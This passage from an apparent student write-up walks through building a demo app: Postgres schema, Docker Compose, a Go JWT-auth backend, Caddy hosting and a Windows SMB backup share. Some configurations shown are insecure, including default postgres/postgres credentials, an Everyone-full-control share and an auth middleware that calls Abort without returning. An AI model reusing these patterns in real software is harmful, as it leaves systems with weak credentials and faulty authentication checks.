</span></span><span style="display:flex;"><span><span style="color:#66d9ef">create</span> <span style="color:#66d9ef">index</span> <span style="color:#66d9ef">if</span> <span style="color:#66d9ef">not</span> <span style="color:#66d9ef">exists</span> rt_expires_idx <span style="color:#66d9ef">on</span> refresh_tokens (expires_at);
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">create</span> <span style="color:#66d9ef">table</span> <span style="color:#66d9ef">if</span> <span style="color:#66d9ef">not</span> <span style="color:#66d9ef">exists</span> posts (
</span></span><span style="display:flex;"><span>  id       uuid <span style="color:#66d9ef">primary</span> <span style="color:#66d9ef">key</span> <span style="color:#66d9ef">default</span> uuid_generate_v7(),
</span></span><span style="display:flex;"><span>  title    text <span style="color:#66d9ef">not</span> <span style="color:#66d9ef">null</span>,
</span></span><span style="display:flex;"><span>  content  text <span style="color:#66d9ef">not</span> <span style="color:#66d9ef">null</span>,
</span></span><span style="display:flex;"><span>  user_id  uuid <span style="color:#66d9ef">not</span> <span style="color:#66d9ef">null</span> <span style="color:#66d9ef">references</span> users(id) <span style="color:#66d9ef">on</span> <span style="color:#66d9ef">delete</span> <span style="color:#66d9ef">cascade</span>
</span></span><span style="display:flex;"><span>);
</span></span></code></pre></div><p>The posts table above has nothing to explain, so moving on to the last section of the schema, which is <code>the authenticate_user_id</code> function in [@snip:auth-user]. This function is used to check a user&rsquo;s credentials and returns their user ID if they&rsquo;re valid. It looks up where the email matches the parameter p_email; the <code>p_</code> prefix is a naming convention to indicate a parameter, and then compares the input password and encrypts it using the crypt function from the pgcrypto extension, which takes a string to hash and a salt to use, or an already hashed password to compare as we do here. <sup id="fnref:12"><a href="#fn:12" class="footnote-ref" role="doc-noteref">12</a></sup> <sup id="fnref:13"><a href="#fn:13" class="footnote-ref" role="doc-noteref">13</a></sup> The API will use this function to check whether a user is valid or not, and when inserting it will run.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">create</span> <span style="color:#66d9ef">or</span> <span style="color:#66d9ef">replace</span> <span style="color:#66d9ef">function</span> authenticate_user_id(p_email text, p_pass text)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">returns</span> uuid
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">language</span> <span style="color:#66d9ef">sql</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">as</span> <span style="color:#960050;background-color:#1e0010">$$</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">select</span> u.id
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">from</span> users u
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">where</span> u.email <span style="color:#f92672">=</span> p_email
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">and</span> u.password <span style="color:#f92672">=</span> crypt(p_pass, u.password)
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">$$</span>;
</span></span></code></pre></div><p>To deploy the database, Docker Compose was used from [@snip:pg-compose], which is not secure but this will be changed in [@sec:docker-secrets], so for now this is fine. This sets the needed environment variables for username, password, and database, as well as the default port, volume mapping for the schema file, and the data volume.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">services</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">db</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">image</span>: <span style="color:#ae81ff">ghcr.io/fboulnois/pg_uuidv7</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">environment</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">POSTGRES_USER</span>: <span style="color:#ae81ff">postgres</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">POSTGRES_PASSWORD</span>: <span style="color:#ae81ff">postgres</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">POSTGRES_DB</span>: <span style="color:#ae81ff">someApp</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">ports</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">5432</span>:<span style="color:#ae81ff">5432</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">volumes</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">./schema.sql:/docker-entrypoint-initdb.d/schema.sql</span>
</span></span><span style="display:flex;"><span>      - <span style="color:#ae81ff">postgres-data:/var/lib/postgresql/data</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">volumes</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">postgres-data</span>:
</span></span></code></pre></div><p>During development I used this fish script from [@snip:boated-fishs-script] to deploy the database, which is a bit of a pain to use but it works fine. I know I could have used <code>docker context</code> for this, but using a script is more convenient, and since the compose file uses a volume mapping and the file isn&rsquo;t there I would have to copy it over anyway, and I can&rsquo;t have ConfigMaps in Docker like Kubernetes has it.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fish" data-lang="fish"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env fish
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">scp</span> ~/itsi/itsi/4kl/ue1/goApp/db/schema.sql fus-admin@ex1-alpine-db:app/schema.sql
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">scp</span> ~/itsi/itsi/4kl/ue1/goApp/db/docker-compose.yml fus-admin@ex1-alpine-db:app/docker-compose.yml
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> contains <span style="color:#a6e22e">-- -v</span> $argv
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">ssh</span> fus-admin@ex1-alpine-db <span style="color:#e6db74">&#34;cd app &amp;&amp; docker compose down -v &amp;&amp; docker compose up -d&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">else</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">ssh</span> fus-admin@ex1-alpine-db <span style="color:#e6db74">&#34;cd app &amp;&amp; docker compose down &amp;&amp; docker compose up -d&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">end</span>
</span></span></code></pre></div><h4 id="making-the-demo-app">Making the Demo App</h4>
<h5 id="backend">Backend</h5>
<p>The backend is a simple API that is used to authenticate users and to store the data. The API is written in Go and uses the <code>gin</code> framework. It takes care of all the CRUD operations, which stands for Create, Read, Update, and Delete, meaning managing all the data in the database. <sup id="fnref:14"><a href="#fn:14" class="footnote-ref" role="doc-noteref">14</a></sup></p>
<p>The endpoints are split into three groups:</p>
<ul>
<li>Users</li>
<li>Posts</li>
<li>Admin</li>
</ul>
<p>Notable endpoints:</p>
<ul>
<li>POST <code>/users</code> creates a new user</li>
<li>POST <code>/posts</code> creates a new post for the currently signed-in user</li>
<li>POST <code>/auth/login</code> logs in a user</li>
<li>POST <code>/auth/logout</code> logs out a user</li>
<li>POST <code>/auth/refresh</code> refreshes a token</li>
</ul>
<p>Additionally, middleware is used to check if the user is authenticated and if the user is an admin, which restricts access to certain endpoints. Middleware is a term describing services found above the transport (i.e., over TCP/IP) layer but below the application environment (i.e., below application-level APIs). <sup id="fnref:15"><a href="#fn:15" class="footnote-ref" role="doc-noteref">15</a></sup></p>
<p>For example, there is middleware that will be later explained to check if the user is authenticated and has valid tokens, middleware for rate limiting, enforcing headers, and max body size. The above endpoints will be explained below as well as some more general things about the backend.</p>
<h5 id="authentication-breakdown">Authentication Breakdown</h5>
<h6 id="json-web-tokens">JSON Web Tokens</h6>
<p>A JSON Web Token (JWT) is a compact, URL-safe means of representing claims to be transferred between two parties. The claims in a JWT are encoded as a JSON object that is digitally signed using JSON Web Signature (JWS) and/or encrypted using JSON Web Encryption (JWE). <sup id="fnref:16"><a href="#fn:16" class="footnote-ref" role="doc-noteref">16</a></sup></p>
<p>The JWT is a base64url-encoded string, which is divided into three parts, separated by a period, and each part is a base64url-encoded string. The first part is the header, the second part is the payload, and the third part is the signature. <sup id="fnref1:16"><a href="#fn:16" class="footnote-ref" role="doc-noteref">16</a></sup></p>
<pre tabindex="0"><code>eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJyb2xlIjoiYWRtaW4iLCJpc3MiOiJhcHAiLCJzdWIiOiIwMTk5Y2FiMy1mNjUwLTc2MzAtYTlhMC0yODJk
YjBhMTFmNzAiLCJhdWQiOlsiYXBwLWNsaWVudHMiXSwiZXhwIjoxNzYwMDk5MTc3LCJpYXQiOjE3NjAwODgxMTd9.
r7JhFS-GBkxqhg_VWpYhcpEM03vorB2ebJqocrJUfns
</code></pre><p>Decoding the payload will show the result shown in [@snip:jwt-example].</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-json" data-lang="json"><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;typ&#34;</span>: <span style="color:#e6db74">&#34;JWT&#34;</span>,
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">&#34;alg&#34;</span>: <span style="color:#e6db74">&#34;HS256&#34;</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span><span style="color:#f92672">&#34;aud&#34;</span>: [
</span></span><span style="display:flex;"><span>  <span style="color:#e6db74">&#34;app-clients&#34;</span>
</span></span><span style="display:flex;"><span>],
</span></span><span style="display:flex;"><span><span style="color:#f92672">&#34;exp&#34;</span>: <span style="color:#ae81ff">1759966073</span>,
</span></span><span style="display:flex;"><span><span style="color:#f92672">&#34;iat&#34;</span>: <span style="color:#ae81ff">1759965173</span>,
</span></span><span style="display:flex;"><span><span style="color:#f92672">&#34;iss&#34;</span>: <span style="color:#e6db74">&#34;app&#34;</span>,
</span></span><span style="display:flex;"><span><span style="color:#f92672">&#34;role&#34;</span>: <span style="color:#e6db74">&#34;user&#34;</span>,
</span></span><span style="display:flex;"><span><span style="color:#f92672">&#34;sub&#34;</span>: <span style="color:#e6db74">&#34;0199c616-f254-74b7-958b-2555db9f6e7d&#34;</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>The payload consists of two JSON objects, the first one being the header and the second one being the payload. The header is used to specify the type of token, which is JWT in this case, and also the algorithm used to sign the token, which in this case is HS256 which is a symmetric-key hashing algorithm. This key will be set when deploying as a Kubernetes secret and can nicely be generated with <code>openssl rand -base64 64</code> to generate a 64-character long key to use for the signing. While RS256 could have been used, the implementation would have been more complex, and for the showcase HS256 is perfectly fine. <sup id="fnref:17"><a href="#fn:17" class="footnote-ref" role="doc-noteref">17</a></sup></p>
<p>The payload has the &ldquo;claims&rdquo; of the token, i.e., data for who the subject is, what role they have, when the token expires, and what audience the token is for. I use those standard claims in my app: <sup id="fnref2:16"><a href="#fn:16" class="footnote-ref" role="doc-noteref">16</a></sup></p>
<ul>
<li>aud: audience
<ul>
<li>identifies the intended recipient of the token</li>
<li>in this case it is the app clients</li>
</ul>
</li>
<li>exp: expiration
<ul>
<li>when the token expires</li>
<li>the date must be a numerical Unix date</li>
</ul>
</li>
<li>iat: issued at
<ul>
<li>when the token was issued</li>
<li>the date must be a numerical Unix date</li>
</ul>
</li>
<li>iss: issuer
<ul>
<li>identifies the principal that issued the token</li>
<li>in this case the name of the app</li>
</ul>
</li>
<li>sub: subject
<ul>
<li>identifies the subject of the token</li>
<li>the user ID of the user the token is for</li>
</ul>
</li>
</ul>
<p>And also added is <code>role</code>, which is the role of the user, which can either be <code>admin</code> or <code>user</code>.</p>
<p>With these basics we can look at the authentication flow and then a bit of the implementation and middleware used.</p>
<h6 id="authentication-flow">Authentication Flow</h6>
<p>The app uses a JWT authentication flow with refresh tokens. This means when a user signs in, the app will return a JWT token and a refresh token. The refresh token can be used to get a new JWT token after it expires. The JWT gets stored in LocalStorage and the refresh token gets stored in the browser&rsquo;s cookies as a secure HTTPS cookie, and the refresh token&rsquo;s hash, expiration date, and user ID are stored in the database, and then the token is used to get a new JWT token when it expires.</p>
<p>The received JWT will be appended to the <code>Authorization</code> header with the value <code>Bearer &lt;base64-encoded JWT&gt;</code>, which the frontend code takes from LocalStorage and inserts into the header; the JWT should not be in a cookie since it would be auto-sent by the browser, making it prone to XSS-style session hijacking. [@noauthor_oauth_nodate-1]</p>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/svgs/auth-login.svg"/> <figcaption>
            Figure 11: login flow
        </figcaption>
</figure>

<p>In [@fig:login-refresh-flow], it shows how the client hits the <code>auth/refresh</code> endpoint with the refresh token to verify that it is still valid against the DB, and then issues a new JWT token to be used for the rest of the session. <sup id="fnref:18"><a href="#fn:18" class="footnote-ref" role="doc-noteref">18</a></sup> <sup id="fnref3:16"><a href="#fn:16" class="footnote-ref" role="doc-noteref">16</a></sup></p>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/svgs/auth-refresh.svg"/> <figcaption>
            Figure 12: login refresh flow
        </figcaption>
</figure>

<p>With this knowledge, we can look at the implementation of the JWT authentication flow middleware as in [@snip:auth-middleware].</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#66d9ef">func</span> (<span style="color:#a6e22e">h</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">Handlers</span>) <span style="color:#a6e22e">AuthMiddleware</span>() <span style="color:#a6e22e">gin</span>.<span style="color:#a6e22e">HandlerFunc</span> {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">func</span>(<span style="color:#a6e22e">c</span> <span style="color:#f92672">*</span><span style="color:#a6e22e">gin</span>.<span style="color:#a6e22e">Context</span>) {
</span></span><span style="display:flex;"><span>              <span style="color:#a6e22e">hdr</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">GetHeader</span>(<span style="color:#e6db74">&#34;Authorization&#34;</span>)
</span></span><span style="display:flex;"><span>              <span style="color:#66d9ef">if</span> len(<span style="color:#a6e22e">hdr</span>) &lt; <span style="color:#ae81ff">8</span> <span style="color:#f92672">||</span> <span style="color:#a6e22e">hdr</span>[:<span style="color:#ae81ff">7</span>] <span style="color:#f92672">!=</span> <span style="color:#e6db74">&#34;Bearer &#34;</span> {
</span></span><span style="display:flex;"><span>                      <span style="color:#75715e">// log error</span>
</span></span><span style="display:flex;"><span>                      <span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">Abort</span>()
</span></span><span style="display:flex;"><span>              }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>              <span style="color:#a6e22e">tokenStr</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">hdr</span>[<span style="color:#ae81ff">7</span>:]
</span></span><span style="display:flex;"><span>              <span style="color:#a6e22e">claims</span>, <span style="color:#a6e22e">err</span> <span style="color:#f92672">:=</span> <span style="color:#a6e22e">auth</span>.<span style="color:#a6e22e">ParseAndValidate</span>(<span style="color:#a6e22e">h</span>.<span style="color:#a6e22e">Cfg</span>, <span style="color:#a6e22e">tokenStr</span>)
</span></span><span style="display:flex;"><span>              <span style="color:#66d9ef">if</span> <span style="color:#a6e22e">err</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">nil</span> {
</span></span><span style="display:flex;"><span>                      <span style="color:#75715e">// log error</span>
</span></span><span style="display:flex;"><span>                      <span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">Abort</span>()
</span></span><span style="display:flex;"><span>              }
</span></span><span style="display:flex;"><span>              <span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">Set</span>(<span style="color:#e6db74">&#34;sub&#34;</span>, <span style="color:#a6e22e">claims</span>.<span style="color:#a6e22e">Subject</span>)
</span></span><span style="display:flex;"><span>              <span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">Set</span>(<span style="color:#e6db74">&#34;role&#34;</span>, <span style="color:#a6e22e">claims</span>.<span style="color:#a6e22e">Role</span>)
</span></span><span style="display:flex;"><span>              <span style="color:#a6e22e">c</span>.<span style="color:#a6e22e">Next</span>()
</span></span><span style="display:flex;"><span>      }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>This code reads the header and stores the value of the <code>Authorization</code> header if present, and checks that it is long enough to be a JWT and that the Bearer prefix is there. If it&rsquo;s valid, the string gets cut to only have the encoded JWT left, which is then parsed and validated with <code>h.Cfg</code> being a context object in the server that stores the JWT secret needed to validate the token. If no error is returned, we store <code>sub</code> and <code>role</code> in a key-value store called <code>c.Set</code> from the Gin framework, allowing us to keep contextual data in the request, which is later used in the following handlers to extract user id and role. <sup id="fnref4:16"><a href="#fn:16" class="footnote-ref" role="doc-noteref">16</a></sup></p>
<p>If a JWT is forged, the request should fail. The <code>ParseAndValidate</code> function uses the <code>jwt</code> library to parse the JWT and validate it with our configured values and key and rules, performing the signature check to ensure the token wasn&rsquo;t forged by a threat actor and is valid. After the middleware succeeds, the other handlers will take over and let the user in. <sup id="fnref5:16"><a href="#fn:16" class="footnote-ref" role="doc-noteref">16</a></sup></p>
<h6 id="leaky-bucket-rate-limiting">Leaky Bucket Rate Limiting</h6>
<p>There is an additional middleware to rate limit using a leaky bucket algorithm. This algorithm is simple and works by using a First In, First Out (FIFO) queue with a fixed capacity to manage request rates, ensuring a constant rate regardless of traffic spikes and instead focusing on a consistent rate of requests. <sup id="fnref:19"><a href="#fn:19" class="footnote-ref" role="doc-noteref">19</a></sup></p>
<p>This can be imagined like a bucket leaking at a fixed rate to avoid overflow. <sup id="fnref1:19"><a href="#fn:19" class="footnote-ref" role="doc-noteref">19</a></sup></p>
<p>It&rsquo;s implemented by simply using the <code>go.uber.org/ratelimit</code> package and using <code>ratelimit.New(configuredRPS)</code> and <code>limit.Take()</code> in the middleware handler to enforce a rate limit. This has no per-IP request profiling, as I found that to be overkill for this, and the RPS (Requests Per Second) is loaded via an ENV variable for easy configuration.</p>
<h4 id="hosting-the-frontend">Hosting the Frontend</h4>
<p>The frontend files are served via Caddy, a reverse proxy server, which I use to serve the frontend files and reverse proxy the API calls to the backend. To make better use of it, I made a custom Docker image in [@snip:caddy-dockerfile] where I copy the static files in a multi-stage build after minifying them, saving a couple of kilobytes in the final image and reducing web requests.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-dockerfile" data-lang="dockerfile"><span style="display:flex;"><span><span style="color:#66d9ef">FROM</span><span style="color:#e6db74"> alpine:3.20 AS builder</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> apk add --no-cache minify<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">WORKDIR</span><span style="color:#e6db74"> /app</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">COPY</span> index.html styles.css script.js /app/<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> minify -o index.html index.html <span style="color:#f92672">&amp;&amp;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    minify -o styles.css styles.css <span style="color:#f92672">&amp;&amp;</span> <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>    minify -o script.js script.js<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">FROM</span><span style="color:#e6db74"> caddy:2-alpine</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">WORKDIR</span><span style="color:#e6db74"> /srv</span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">COPY</span> --from<span style="color:#f92672">=</span>builder /app /srv<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">COPY</span> entrypoint.sh /entrypoint.sh<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">RUN</span> chmod +x /entrypoint.sh<span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">
</span></span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010"></span><span style="color:#66d9ef">ENTRYPOINT</span> [<span style="color:#e6db74">&#34;/entrypoint.sh&#34;</span>]<span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><p>The entry point in [@snip:caddy-entrypoint] is here to allow overwriting the API base path in the frontend with an environment variable for flexibility.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sh" data-lang="sh"><span style="display:flex;"><span><span style="color:#75715e">#!/bin/sh
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>set -e
</span></span><span style="display:flex;"><span>WEBROOT<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;/srv&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>: <span style="color:#e6db74">&#34;</span><span style="color:#e6db74">${</span>API_BASE:=/api<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>SAFE_API_BASE<span style="color:#f92672">=</span><span style="color:#66d9ef">$(</span>printf <span style="color:#e6db74">&#39;%s&#39;</span> <span style="color:#e6db74">&#34;</span>$API_BASE<span style="color:#e6db74">&#34;</span> | sed <span style="color:#e6db74">&#39;s/[&amp;]/\\&amp;/g&#39;</span><span style="color:#66d9ef">)</span>
</span></span><span style="display:flex;"><span>sed -i <span style="color:#e6db74">&#34;s|__API_BASE__|</span>$SAFE_API_BASE<span style="color:#e6db74">|g&#34;</span> <span style="color:#e6db74">&#34;</span>$WEBROOT<span style="color:#e6db74">/script.js&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>exec caddy run --config /etc/caddy/Caddyfile --adapter caddyfile
</span></span></code></pre></div><p>Lastly, the minimal required Caddyfile is [@snip:basic-caddyfile], which reverse proxies to the API and API_URL is meant to be replaced with the actual API URL. This can be added by mounting the Caddyfile with the correct values into the container or embedding it via a ConfigMap when using Kubernetes. It only listens on port 80 and doesn&rsquo;t feature TLS. The static files are served from the root directive, which is the root of the files in the container, and the file_server directive is used to serve the static files. The configuration will be discussed in more depth when I talk about the Kubernetes setup and making the app insecure.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-caddyfile" data-lang="caddyfile"><span style="display:flex;"><span>:80 {
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">handle_path</span> <span style="color:#a6e22e">/api/*</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">reverse_proxy</span> <span style="color:#e6db74">API_URL</span>
</span></span><span style="display:flex;"><span>  }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">root</span> <span style="color:#a6e22e">*</span> <span style="color:#e6db74">/srv</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">encode</span> <span style="color:#e6db74">gzip</span> <span style="color:#e6db74">zstd</span>
</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">file_server</span>
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><h4 id="setting-up-windows-smb-share-for-backups">Setting Up Windows SMB Share for Backups</h4>
<p>As stated in [@sec:Architecture], the purpose of the Windows Server is to be used as a backup to archive database snapshots. The setup is straightforward and consists of the following steps:</p>
<ul>
<li>Partition and format the drive as NTFS</li>
<li>Create the needed users and group</li>
<li>Set the permissions</li>
<li>Create the needed directories</li>
<li>Share the input directory</li>
<li>Create a PowerShell script to move the files from the input directory to a sorted directory structure</li>
<li>Create a scheduled task to run the script every night</li>
</ul>
<p>Before each step is covered, an overview of the backup process will be given, and [@sec:backing-up-postgres-data] will show how the data gets into the input directory.</p>
<h5 id="backup-strategy">Backup Strategy</h5>
<p>In [@fig:backup-dirs] the backup layout is shown, where the data directory is the input dir, which gets shared via SMB, in a share that will be called app-data where a user called share-app will have write access to it, which will be used to authenticate to the share and have no other permissions. Additionally, a share-backup will be created, used by the scheduled task to copy over the files from the input dir and structure in <code>\backups</code> and have each backup in a timestamped directory containing the encrypted dump, a file with the dumps checksum, and a JSON file like in [@fig:backup-json-manifest] which stores the hash, filename, and filesize for possible restorations. The <code>\backups\archive</code> directory will be used after the configured amount of generations has been reached and then compresses the backups into timestamped zip archives in that dir, which will be auto-deleted with the backup script.</p>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/svgs/windoof-ls-T.svg"/> <figcaption>
            Figure 13: examining the backups directory
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/svgs/windoof-jq.svg"/> <figcaption>
            Figure 14: examining the backups manifest
        </figcaption>
</figure>

<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/svgs/windoof-bat.svg"/> <figcaption>
            Figure 15: Examining the backup files
        </figcaption>
</figure>

<p>The resulting dump of the database is just a binary blob encrypted with GPG, which viewing the contents of the file in [@fig:windoof-bat] using <code>bat</code> which is a cat clone but with more features such as syntax highlighting and just showing <code>&lt;BINARY&gt;</code> instead of cluttering the whole terminal output. <sup id="fnref:20"><a href="#fn:20" class="footnote-ref" role="doc-noteref">20</a></sup></p>
<p>While implementing the requirements for the backup strategy, only a single screenshot of the results was taken, as the actual process is very trivial and almost all of it was covered last year in <a href="https://stefanistkuhl.github.io/posts/itsi/year-3/exercise-8/secure-data-storrage-on-windows-server/">Exercise 8</a>. <sup id="fnref:21"><a href="#fn:21" class="footnote-ref" role="doc-noteref">21</a></sup></p>
<p>The Created partition is shown in [@fig:windoof-disks].</p>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/windoof-3.png"/> <figcaption>
            Figure 16: viewing the newly created partition
        </figcaption>
</figure>

<p>In [@fig:windoof-user], the user <code>share-app</code> is created with settings that prevent password changes and set to never expire, since this account is intended for automated scripts and does not require normal user logins, and will be rotated manually on demand. Users could also be grouped if desired.</p>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/windoof-4.png"/> <figcaption>
            Figure 17: creating the share-data user
        </figcaption>
</figure>

<p>These users can be inspected with the <code>net user</code> command, which is shown in [@fig:windoof-users].</p>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/svgs/windoof-users.svg"/> <figcaption>
            Figure 18: inspecting the users
        </figcaption>
</figure>

<p>To inspect the NTFS permissions of the directory structure, the <code>Get-PermissionTree</code> module created by Edi (available <a href="https://github.com/Ereboss8/Get-PermissionTree">here</a>) is used to inspect the NTFS permissions of a given directory recursively with the desired depth, as shown in [@fig:windoof-perms]. [@eduard_ereboss8get-permissiontree_2025]</p>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/svgs/windoof-perms-real.svg"/> <figcaption>
            Figure 19: inspecting the ntfs permissions
        </figcaption>
</figure>

<p>Now the <code>\data</code> directory can be shared by simply granting Everyone full control which can be seen in [@fig:windoof-share], as the NTFS permissions take over by the privilege of the least privileged user.</p>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/windoof-5.png"/> <figcaption>
            Figure 20: creating the share-data
        </figcaption>
</figure>

<p>Before creating the scheduled backup task, the share-backup user must be allowed to sign on as a batch job. This can be configured in Local Security Policy under User Rights Assignments &gt; Log on as a batch job, as shown in [@fig:windoof-gp]. After making the change, reboot or run <code>gpupdate /force</code> to apply the changes. [@vinaypamnani-msft_log_nodate]</p>
<figure>
    <img loading="lazy" src="/itsi/y4/ex1/images/windoof-6.png"/> <figcaption>
            Figure 21: allowing the share-backup user to sign on as a batch job
        </figcaption>
</figure>

<p>To create the scheduled task in Task Scheduler, a task named <code>app-backup</code> will be created with <code>powershell.exe</code> and the argument <code>-NoProfile -ExecutionPolicy Bypass -File &quot;D:\app\scripts\pg_file_collector.ps1&quot;</code> to run the script. To set the user the task runs as, you should use Create Task (Advanced) rather than Create Basic Task. Lastly, a trigger is set to run the task once a day. In [@fig:windoof-task], the three needed steps are aggregated into a single figure.</p>
<figure>
